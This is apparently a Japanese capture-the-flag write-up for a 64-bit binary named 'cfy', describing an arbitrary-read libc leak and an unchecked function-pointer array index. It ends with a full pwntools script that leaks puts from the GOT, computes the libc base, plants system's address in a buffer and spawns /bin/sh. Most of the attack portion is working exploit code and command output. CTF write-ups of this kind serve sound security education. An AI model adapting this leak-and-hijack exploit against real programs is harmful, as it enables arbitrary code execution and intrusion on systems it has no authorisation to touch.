libcの特定をする必要があると知った回。(してなかった)

cfy

$ file cfy
cfy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=f023c69bba5f53464912a2501e87fb098e19af5d, not stripped

$ checksec --file cfy
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   cfy

$ ./cfy
What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit
0

Please enter your number: 10
dec: 16
hex: 0x10

What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit
3
have a nice day

攻撃

2) parse from pointerを選ぶと好きなアドレスを読むことができる。これにより、libcのbase addressが判明する。

parsersという関数ポインタの配列を持っており、与えられた入力をindexとして参照するが、indexの範囲のチェックをしていない。 大きな値を与えると別の入力であるbuf上に乗ったアドレスをcallさせられる。(しかもbufを引数として与えて呼び出す。)

これによりsystem("/bin/sh");を叩ける。

$ readelf -s cfy
    59: 0000000000601080    48 OBJECT  GLOBAL DEFAULT   24 parsers
    72: 00000000006010e0  1024 OBJECT  GLOBAL DEFAULT   25 buf
    74: 000000000040080c   278 FUNC    GLOBAL DEFAULT   13 main
    75: 0000000000400785    20 FUNC    GLOBAL DEFAULT   13 from_ptr
    79: 0000000000400761    36 FUNC    GLOBAL DEFAULT   13 from_dec
    80: 000000000040073d    36 FUNC    GLOBAL DEFAULT   13 from_hex

実装

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools

elf = ELF('./cfy')
choice_call_buf = 6 # if you choose 6, it calls buf
choice_distance = 1<<4

context.log_level = 'debug'

# local
p = process('./cfy')
libc = ELF('/usr/lib/libc.so.6')

p.recvuntil('What do you want to do?\n')
p.sendline('2')
p.recvuntil('Please enter your number: ')
p.sendline(p64(elf.got['puts']))
p.recvline()
libc_base = int(p.recvline().split()[1], 16) - libc.symbols['puts']

p.recvuntil('What do you want to do?\n')
p.sendline('0')
p.recvuntil('Please enter your number: ')
p.sendline('A' * choice_distance + p64(libc_base + libc.symbols['system']))

p.recvuntil('What do you want to do?\n')
p.sendline(str(choice_call_buf + 1))
p.recvuntil('Please enter your number: ')
p.sendline('/bin/sh')

p.sendline('ls')
p.interactive()

  • Thu Feb 18 18:50:53 JST 2016
    • libcに関して追記